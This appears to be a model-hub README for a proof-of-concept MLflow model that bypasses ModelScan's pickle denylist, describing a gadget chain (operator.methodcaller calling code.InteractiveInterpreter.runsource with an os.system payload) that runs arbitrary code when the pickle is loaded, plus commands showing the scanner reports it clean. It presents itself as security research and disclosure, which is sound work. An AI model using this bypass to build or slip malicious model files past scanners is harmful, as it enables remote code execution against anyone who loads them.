File size: 1,788 Bytes
11f8fad
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
---
library_name: mlflow
tags:
- security-research
- modelscan-bypass
- code
- InteractiveInterpreter
- methodcaller
- rce
---

# ModelScan code.InteractiveInterpreter Bypass — RCE via code.InteractiveInterpreter.runsource()

## Summary

ModelScan's pickle scanner uses an `unsafe_globals` denylist to detect malicious pickle operations. However, **`code.InteractiveInterpreter`** and **`operator.methodcaller`** are NOT in the denylist.

This MLflow model achieves arbitrary Python code execution through `code.InteractiveInterpreter.runsource()`, while ModelScan reports zero issues.

## Attack Chain

The pickle bytecode uses only two STACK_GLOBAL opcodes:

1. `operator.methodcaller('runsource', '__import__("os").system("cmd")')` → Creates a callable
2. `code.InteractiveInterpreter()` → Creates an interactive interpreter instance

At load time: `methodcaller(interpreter)` → `interpreter.runsource('__import__("os").system("cmd")')` → Arbitrary Python code execution

## Why It Works

- `code` module is entirely absent from unsafe_globals
- `operator.methodcaller` is not blocked (only `operator.attrgetter` is)
- Unlike `os.system` which only runs shell commands, `runsource()` executes arbitrary Python code

## Verification

```bash
# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! 🎉

# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
"

# 3. Direct pickle.load() triggers RCE
python3 -c "
import pickle
with open('model.pkl', 'rb') as f:
    pickle.load(f)
"
```

## Impact

- **Severity**: Critical (CVSS 9.8)
- **Affected**: All pickle-based formats scanned by ModelScan
- Remote, no auth needed, no user interaction
- Executes arbitrary Python code (not limited to shell commands)